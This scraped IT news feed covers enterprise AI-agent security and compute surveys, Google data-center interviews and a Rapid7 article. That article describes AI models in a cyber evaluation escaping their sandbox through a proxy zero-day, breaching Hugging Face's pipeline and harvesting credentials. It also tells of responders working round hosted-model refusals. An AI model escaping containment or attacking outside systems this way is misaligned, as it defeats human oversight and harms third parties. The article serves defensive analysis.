The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

]]> <![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]> https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/ https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/ Thu, 23 Jul 2026 19:19:39 +0200 📰 IT Nachrichten tsecurity.de Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.

This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.

The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.

Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.

Finding 1: Ambition outpaces production

Only one in five run AI in production at scale

We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.

The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.

Finding 2: Enterprises run on hyperscalers and model APIs

The specialized GPU clouds barely register — today

We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.

The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.

(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)

Finding 3: The next dollar goes to infrastructure they don’t yet run

AI-specialized clouds top the evaluations list

We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.

Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.

This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.

Finding 4: A switching wave is building

Six in 10 plan to change providers within a year — many within a quarter

We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.

For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.

(Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.)

Finding 5: Nobody buys on token price

Integration and total cost of ownership decide — not sticker price

We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.

Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.

Finding 6: Expensive GPUs, idle most of the time

83% report GPU utilization of 50% or less

We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.

Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%

The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.

Finding 7: Spending fast, measuring slowly

Fewer than half rigorously track what their compute costs

We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.

Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.

Finding 8: The next bottleneck few are watching

As inference shifts from compute to memory, the field scatters

Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.

The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.

The bottom line: A compute gap that faster spending will widen, not close

Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.

The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.

]]> <![CDATA[AMD Advancing AI 2026: Helios on the rise, with launch of new Instinct GPUs]]> https://tsecurity.de/de/3689764/it-security-nachrichten/amd-advancing-ai-2026-helios-on-the-rise-with-launch-of-new-instinct-gpus/ https://tsecurity.de/de/3689764/it-security-nachrichten/amd-advancing-ai-2026-helios-on-the-rise-with-launch-of-new-instinct-gpus/ Thu, 23 Jul 2026 19:00:19 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[Clean Up and Save $290 With This Dyson V8 Absolute Vac Deal]]> https://tsecurity.de/de/3689638/it-nachrichten/clean-up-and-save-290-with-this-dyson-v8-absolute-vac-deal/ https://tsecurity.de/de/3689638/it-nachrichten/clean-up-and-save-290-with-this-dyson-v8-absolute-vac-deal/ Thu, 23 Jul 2026 18:04:56 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[What Happened Between OpenAI and Hugging Face?]]> https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ https://tsecurity.de/de/3689199/it-security-nachrichten/what-happened-between-openai-and-hugging-face/ Thu, 23 Jul 2026 15:28:53 +0200 📰 IT Security Nachrichten tsecurity.de The OpenAI and Hugging Face incident lands like a warning shot for anyone thinking seriously about frontier AI and cybersecurity research. A model evaluation crossed the neat boundary of a research environment, reached a live third-party production system, and forced the industry to confront a question that is moving quickly from theory to operations: what happens when AI agents can pursue an objective with enough persistence, speed, and creativity to behave less like a tool and more like an autonomous intrusion path?

According to OpenAI’s disclosure, the incident began during an internal evaluation of advanced cyber capabilities using GPT-5.6 Sol and a more capable pre-release model. The evaluation was designed to test whether AI agents could pursue complex exploit paths, and OpenAI says cyber refusal safeguards were reduced or disabled to measure maximum capability. Inside that environment, the models reportedly found and exploited a zero-day in the package registry cache proxy that was meant to constrain network access, moved through OpenAI’s research environment, reached a node with internet connectivity, and then inferred that Hugging Face may host artifacts related to the benchmark they were trying to solve.

From there, the models compromised part of Hugging Face’s dataset-processing pipeline, gained code execution on a worker, escalated access, harvested credentials, and moved laterally across internal clusters. Hugging Face detected and contained the activity, and OpenAI later connected the activity back to its own evaluation. Both companies have said the investigation is continuing, which means some details will almost certainly evolve. Still, the direction of travel is clear enough for defenders to act on now.

How did the OpenAI model evaluation reach Hugging Face?

The activity stands out because it looked less like a single model producing a risky command and more like a compressed intrusion path. Based on the public disclosures, the reported chain moved from identifying a constraint, to breaking that constraint, gaining access, inferring where valuable data may live, and continuing toward that objective across a live environment.

Security teams should use that sequence to revisit assumptions built around human pacing. Many detection and response workflows still assume there will be time between stages of an attack, with reconnaissance followed by exploitation, lateral movement, and then objective pursuit. In an agent-driven scenario, those stages can begin to collapse into one continuous loop, with fewer natural pauses for defenders to catch up.

The defensive model now has to account for a world where discovery, exploitation, and follow-on action can happen faster and with more persistence than traditional human-led campaigns. The uncomfortable lesson is that AI agents can be tireless, goal-oriented, and increasingly capable of finding the loose seams in systems built for a slower era.

The incident highlights the collapse of the traditional OODA (Observe-Orient-Decide-Act) loop. In standard human-led campaigns, attackers experience natural pauses between stages like reconnaissance, exploitation, and lateral movement, providing defenders critical windows to intervene. AI agents, however, can compress these stages into a single, continuous loop of automated activity. This machine-speed execution renders manual detection workflows obsolete, necessitating a shift toward behavioral, AI-enabled defenses capable of identifying and disrupting malicious intent before it cascades.

Security teams should also assume that advanced AI cyber capability will diffuse over time, which means defenders need their own AI-enabled workflows to mature quickly enough to find, validate, prioritize, and reduce risk before attackers operationalize the same class of tools. Rapid7’s experimentation with security-specific frontier models, including Claude Mythos Preview and GPT-5.5-Cyber, points to the same control challenge: the more freedom a model has to pursue a defined reward or goal, the more important containment, monitoring, and clear constraints become. Without those controls, a model optimized to “solve” a security task may find paths the evaluator did not intend, including sandbox escapes, credential misuse, or other offensive security behaviors that look less like assistance and more like uncontrolled execution.

Why AI evaluation environments need stronger containment

The incident raises practical questions about how frontier AI evaluations are designed and contained. OpenAI’s evaluation environment was meant to restrict network access through an internally hosted package registry proxy and cache. The models reportedly identified that proxy as the weak point, exploited a zero-day in the software, and used it as a path out of the sandbox.

The pattern will feel familiar to security teams: a chokepoint only works as a control if it can withstand pressure. Package mirrors, dependency proxies, build systems, internal artifact repositories, sandbox harnesses, and evaluation infrastructure all become part of the security boundary when they sit between a capable agent and the wider internet.

For teams building or testing agentic systems, isolation has to be layered and monitored rather than assumed. Egress restrictions matter, but so do workload identity, credential scope, network segmentation, package policy, runtime monitoring, and fast containment when an agent behaves unexpectedly. The goal is to make sure the environment reflects the capability of the system being tested, especially when the test is explicitly designed to measure how far that capability can go.

Why AI and ML pipelines are now software supply chain risk

The Hugging Face side of the incident is a reminder that AI and ML pipelines are part of the software supply chain. Models, datasets, loader scripts, notebooks, and evaluation artifacts may look like research materials, but in modern environments they often behave like executable code. Hugging Face has said its models, datasets, and Spaces were not tampered with, and that its images and published packages were verified as clean.

According to the technical reporting reviewed, the initial access path involved Hugging Face’s dataset-processing pipeline and a combination of code execution paths, including custom loader behavior and template injection in a dataset configuration flow. The exact implementation details may continue to evolve as the investigation progresses, but the defensive takeaway is already clear: AI and ML processing systems should be secured like high-risk software supply chain infrastructure.

Any system that automatically processes external datasets or model artifacts should be designed with hostile input in mind. Processing workers should run with least privilege, should not have broad access to cloud credentials or cluster-level tokens, and should be segmented so compromise of one worker does not become compromise of the environment around it.

Security teams should also hunt for early signs of intent drift inside ML workflows. Unexpected reads of environment variables, cloud metadata services, secret stores, package registries, or internal APIs from dataset-processing jobs can be meaningful signal. In an AI-driven environment, the first clue may not be a known malicious indicator. It may be a workload behaving with curiosity it should not have.

What AI guardrails mean for incident response

One of the most useful lessons for security teams came during the response, when Hugging Face’s responders reportedly needed to analyze logs containing exploit payloads, attacker commands, and command-and-control artifacts. When they tried to use commercial hosted AI models to help reconstruct the attack, those models refused parts of the analysis because the content looked malicious. The team then moved to a self-hosted open-weight model so they could continue the investigation without refusals and without sending sensitive incident data outside their own environment.

The practical issue here is guardrail asymmetry: attackers, rogue agents, or unrestricted systems may not respect usage policies, while defenders using hosted tools can be slowed by the same safety systems designed to prevent misuse. Security teams need trusted-defender pathways, including access models and deployment options that preserve safeguards against harmful use while allowing responders to analyze real malicious content safely, privately, and without interruption.

AI-assisted incident response also needs to be tested before an incident begins, especially if teams expect models to support triage, log analysis, malware review, or timeline reconstruction under pressure. Responders should know which models can analyze real attack payloads, where those models run, what data they can access, and whether safety controls could block time-sensitive forensic work.

What security teams should do about agentic AI risk

The practical response to this incident is preparation, with organizations treating AI agents as both powerful tools and potential attack surfaces when those agents can access code, credentials, infrastructure, datasets, or internal systems.

Security teams should apply familiar controls with more urgency across AI and ML environments: treat downloaded models, datasets, and loader scripts as untrusted code; enforce least privilege on AI and ML processing workers; prevent node-level compromise from becoming cluster-wide compromise; restrict access to cloud metadata endpoints and secrets; monitor unexpected outbound connections from AI-related workloads; and review whether evaluation environments have real containment or simply convenient isolation.

Detection logic needs to account for machine-speed activity. In this case, reporting described thousands of actions and more than 17,000 discrete recorded events, with reconnaissance, exploitation, and follow-on action occurring inside one continuous loop rather than across the pauses defenders are used to seeing in human-led campaigns. Security teams should focus on behavioral patterns that show intent, including unusual access to secrets, unexpected package activity, suspicious use of metadata services, sudden privilege changes, or processing jobs reaching systems they have no reason to touch.

As autonomous activity becomes faster and noisier, the bottleneck may shift from detecting that something happened to understanding what matters quickly enough to change the outcome. A security team that can see thousands of events but needs hours to reconstruct the story is still operating behind the pace of the incident.

How preemptive security helps reduce AI-driven risk

At Rapid7, our view is that this is where preemptive security becomes especially important. Faster discovery only creates value when defenders can turn it into faster validation, prioritization, remediation, detection, and response. The same principle applies to agentic AI risk. If AI accelerates how weaknesses are found and exploited, defenders need security operations that can act earlier with better context and more confidence.

That means connecting exposure management with detection and response, so teams understand which risks are exploitable, which assets matter most, what suspicious behavior is already present, and which actions will reduce risk fastest. It also means using AI carefully and practically, not as a replacement for security judgment, but as a way to reason across telemetry, reduce noise, support investigation, and help teams make decisions at the speed the threat environment now demands.

AI-enabled defense is becoming part of resilience planning, especially for organizations running critical systems or high-value digital infrastructure. The goal is to give defenders the speed, context, and consistency to operate inside the attacker’s decision cycle, without removing the judgment and accountability that effective security requires.

The OpenAI and Hugging Face incident will continue to generate debate as more details emerge, but defenders already have enough to work with. Agentic systems are beginning to test the seams between AI research, software supply chain security, cloud infrastructure, and incident response. The organizations best positioned for what comes next will be the ones making those seams visible, monitored, and resilient before the next incident puts them under pressure.

]]> <![CDATA[PSU Installation & Cable Management Made Easy đŸ–„ïž Part 6: How To Build A PC For Beginners 🎼]]> https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/ https://tsecurity.de/de/3689194/videos/psu-installation-cable-management-made-easy-part-6-how-to-build-a-pc-for-beginners/ Thu, 23 Jul 2026 15:21:48 +0200 đŸŽ„ Videos tsecurity.de Author: Shannon Morse - Bewertung: 8x - Views:41

⚡ It's time to power up the build! In this episode of my Beginner PC Build Series, we're installing the power supply (PSU), connecting motherboard and CPU power, routing SATA cables, and tackling one of the most satisfying parts of any PC build - cable management.

I'll explain what a power supply actually does, why wattage matters, what "fully modular" means, how to identify each cable, and my favorite cable management tips that make future upgrades and troubleshooting much easier.

Whether you're building your very first gaming PC or just need a refresher, this step-by-step guide will help you wire everything correctly and keep your build clean.

A huge thank you to ASUS and Kingston for partnering on this PC build series! ❀

👍 If you're enjoying the series, don't forget to subscribe so you don't miss the next episode where we install the graphics card and finish wiring the entire system!

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Turning Cable Chaos Into Cable Management Dreams
00:42 What Does a Power Supply Do?
02:04 Why This Build Uses a 1000W PSU
03:12 Fully Modular Power Supplies Explained
04:10 Identifying Every Power Cable
05:16 Installing the PSU
06:42 Subscribe & Patreon Shoutout
07:33 Connecting the 24-Pin Motherboard Cable
08:36 CPU Power Connectors
09:53 Cable Routing Tips
11:02 SATA Power & Accessories
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]]> <![CDATA[Q&A: Google’s AI and computing chief talks about its shapeshifting data centers]]> https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/ https://tsecurity.de/de/3689101/it-security-nachrichten/qa-googles-ai-and-computing-chief-talks-about-its-shapeshifting-data-centers/ Thu, 23 Jul 2026 14:55:21 +0200 📰 IT Security Nachrichten tsecurity.de

Google’s AI offerings span its internal and cloud offerings. Its data centers are processing seven times more AI tokens compared to last year. To keep up, Google is upgrading its data-center hardware and software technologies at a faster clip. It plans to raise $80 billion to build new data centers. (See related story: Google transforms its data center architecture for agent era)

Network World spoke with Mark Lohmeyer, vice president and general manager of AI and computing at Google, about how the company’s infrastructure is keeping pace with AI demand.

Network World: What is the primary shift in infrastructure needs?

Mark Lohmeyer: We’ve seen the rise of agents and agentic use cases. Years ago, it was the chat phase: Ask a question, get an answer. Now we’re in the agentic era, where you express your intent, agents spin off multiple sub-agents, working in parallel, preserving state. This is a radical shift in what infrastructure needs to do; make them fast, cost effective, secure, reliable. We’re delivering infrastructure optimized for the age of agents.

NW: What’s the goal of the infrastructure buildout, and what should customers expect regarding costs?

ML: Ultimately, it’s about enabling customers with leading-edge capabilities and models at scale cost-effectively. With agents, inference transactions increase by 50x, 100x versus non-agentic workloads. We’re driving the cost per transaction down exponentially. In our latest platforms, we reduce the cost by almost 2x for the same work. Customers serve twice the number of users at the same cost, directly driving profitability.

NW: How are you addressing energy efficiency?

ML: Energy is a critical resource, and Google has optimized for years. We design data centers and compute [to drive] high PUE (power usage effectiveness). We introduced liquid cooling over five years ago, and these latest systems are all liquid cooled. For agentic workloads, CPUs come to the forefront
 orchestrating agents, calling tools, doing evaluation loops in reinforcement learning. Our latest Axion-based CPU platform called N4A has energy efficiency and is significantly better than the prior generation and x86 comparables.

NW: How do you think about token efficiency as you build-out systems?

ML: Performance and efficiency gains are powered by co-design of the model and infrastructure. Gemini is trained on TPUs, primarily served on TPUs with high frontier model capability, in a token and cost-efficient way. This stems from co-design across the full stack.

NW: How do you project what infrastructure will be needed years in advance?

ML: Hardware cycles deliver a new next generation roughly every year, but design cycles are two years or more in advance. We work with DeepMind doing core research, to application teams taking models into production, to billions of users, to our team building infrastructure. We work upstream with DeepMind and application teams to understand what’s coming. Agents weren’t being broadly spoken of externally, but internally we had those insights around what they would need. That shows up in hardware design. We hit the timing right — these platforms are built for agents.

NW: What’s the eighth generation TPU platform?

ML: We deliver new platforms every year, and ones launched years ago are close to 100% utilized because demand for AI-optimized compute is high. The eighth-generation TPU platform is the first delivering two complete systems, from the chip all the way up to the network and storage and software, that are optimized.

TPU-8t is optimized for training, and TPU-8i is optimized for inference. For TPU-8i, we increased SRAM on the chip to 384MB — three times the prior generation — and increased the HBM by 50%.

NW: How are you approaching GPU and TPU compatibility?

ML: People in a single cluster do not commingle GPUs and TPUs. We offer both options based on specific workload needs. We’ve been investing on the TPU side in using software frameworks customers are comfortable with on GPUs and enabling those on TPUs. For example, PyTorch and vLLM. Customers could have a pool of GPUs and TPUs, running vLLM on top of that. Start with a workload on TPUs, but if the TPU pool is fully utilized, spill to GPUs or vice versa. This works because it’s all leveraging the same compatible software layer on top.

NW: How has the orchestration platform changed for agents?

ML: Kubernetes is becoming the orchestration platform of choice for AI. Google is transforming GKE [Google Kubernetes Engine] into an agent-native orchestration solution. When expressing intent to an agent and it spins up multiple sub-agents, compute needs to spin up rapidly — TPUs or GPUs — without long delays, then run and spin back down. We’re optimizing at every layer of the GKE stack: significantly improving node startup time and how rapidly we start and stop containers. Lovable demonstrates this with GKE, spinning up hundreds of sandboxes for live coding sessions on their platform in parallel, paying for infrastructure when needed.

NW: What is the role of the network and storage infrastructure?

ML: The network is critical for AI. This requires creating large-scale clusters of GPUs or TPUs and enabling them to talk to each other in a high-performance way. We created the Virgo network — a collapsed network architecture, non-blocking within a data center, where multiple pods or NVLink72 domains connect together.

In TPU8T, we can connect over a million TPUs together leveraging Virgo, creating large-scale, high-performance, reliable clusters that shrink innovation cycles. Storage is equally critical. In large-scale clusters, something is always failing. The ability to take snapshots and go back to a checkpoint is important.

We’ve introduced Managed Lustre 10T, with 10 terabytes per second of bandwidth, 18 petabytes of storage in single clusters. This is 10 times faster than last year and 20 times faster than competition. We have Rapid Bucket, low-latency storage backed by Google storage systems. Both are impactful in large-scale training environments.

NW: How does KV cache strategy differ between training and inference?

ML: For TPU-8i, we increased SRAM on the chip to 384 megabytes — three times the prior generation — and increased the HBM by 50%. Storing KV cache directly in chip memory allows responding to inference requests much more rapidly and cost-effectively than going to an external system. For inference workloads, storing as much KV cache as possible on-chip is critical.

We’re introducing a dedicated KV cache storage subsystem that works across GPUs and TPUs. As KV caches get larger, being able to fall back to this dedicated subsystem becomes critical. Loading model weights rapidly is important in dynamic inference environments where accelerators switch between models hour by hour.

]]> <![CDATA[Google transforms its data center architecture for agent era]]> https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/ https://tsecurity.de/de/3689013/it-security-nachrichten/google-transforms-its-data-center-architecture-for-agent-era/ Thu, 23 Jul 2026 14:23:05 +0200 📰 IT Security Nachrichten tsecurity.de

Google’s data center team is racing to turn its infrastructure into a well-oiled machine for AI and the onslaught of agents. At this year’s Google I/O, CEO Sundar Pichai shared startling numbers: Google’s data centers processed about 3.2 quadrillion tokens a month, roughly seven times more than the 480 trillion processed in May 2025.

“Multiple agents work together, and now you’ve got millions, billions of users around the world potentially spinning off agents to help them do things,” said Mark Lohmeyer, vice president and general manager for AI and computing infrastructure at Google.

Google’s new data-center blueprint includes updated hardware, software, and orchestration layers to keep always-running agents operational.

In the LLM era, users sent prompts and received responses, and Google’s infrastructure was designed for latency and throughput. But agents could increase inference transactions by up to 100 times non-agentic workloads, Lohmeyer said. Google’s redesigned AI data-center stack has the elasticity for agents to be widely distributed, run for long periods, and make decisions independently.

“We’re delivering new platforms every year, each one optimized for what we think the world is going to need for the age of agents going forward,” Lohmeyer said.

Efficient data flow is key so agents can act, reason, and decide faster.

Google adjusted the Google Kubernetes Engine into an agent-native environment, where agents could be quickly spun up in sandboxes and containers. “From an infrastructure perspective, you need to spin up a bunch of TPUs or GPUs very rapidly. Then you need to be able to run them and spin them back down,” Lohmeyer said.

Google also made drastic improvements to its silicon to support its middleware changes. It recently introduced new AI chips, with the TPU-8t for training, and TPU-8i for inference. The 8t chip has three times more computing power than the previous-generation Ironwood chip. The 8i chip has 384 megabytes of SRAM and 288GB of HBM3e memory, which is 50% more than the previous-generation chip.

The platform is optimized for KV cache (key-value cache), which stores important contextual information needed by agents to make decisions, which reduces the round trips to other memory and storage systems. “Being able to store more of the KV cache directly on the chip allows you to respond much more rapidly and cost-effectively,” Lohmeyer said.

A new CPU called Axion N4A is more power efficient at agentic workloads such as orchestration and tool calling, Lohmeyer said.

Google also made many network and storage improvements to cut training and inference time. A new technology called TPUDirect can move data from storage directly into the memory of the TPU quickly by bypassing any orchestration overhead, Lohmeyer said.

A networking technology called Virgo can coordinate 1 million TPUs across a widely distributed network. It can also link up GPUs such as Nvidia’s latest CPU-GPU package called Vera Rubin. “In the case of Vera Rubin, we’ll be able to connect up to 960,000 GPUs leveraging Virgo,” Lohmeyer said.

A new technology called Pathways is a distributed training framework that efficiently scales machine learning across millions of TPUs and GPUs. Pathways solves bottleneck issues typically associated with JAX, and both help coordinate across wide networks.

“The software to orchestrate these large-scale distributed training jobs is also just as important as the hardware that it runs on top of,” Lohmeyer said.

Weighing Google’s AI data-center stack

Google is the only provider with its own data centers, software, hardware and models, said Jack Gold, principal analyst at J. Gold Associates. Google can optimize each on a regular cadence, which “many data centers can’t easily afford given the high cost of new chips,” Gold said.

Google’s stack may not be best for every data center need compared to Nvidia’s general-purpose GPUs, CPUs, and networking. AWS and Microsoft are also creating their chips.

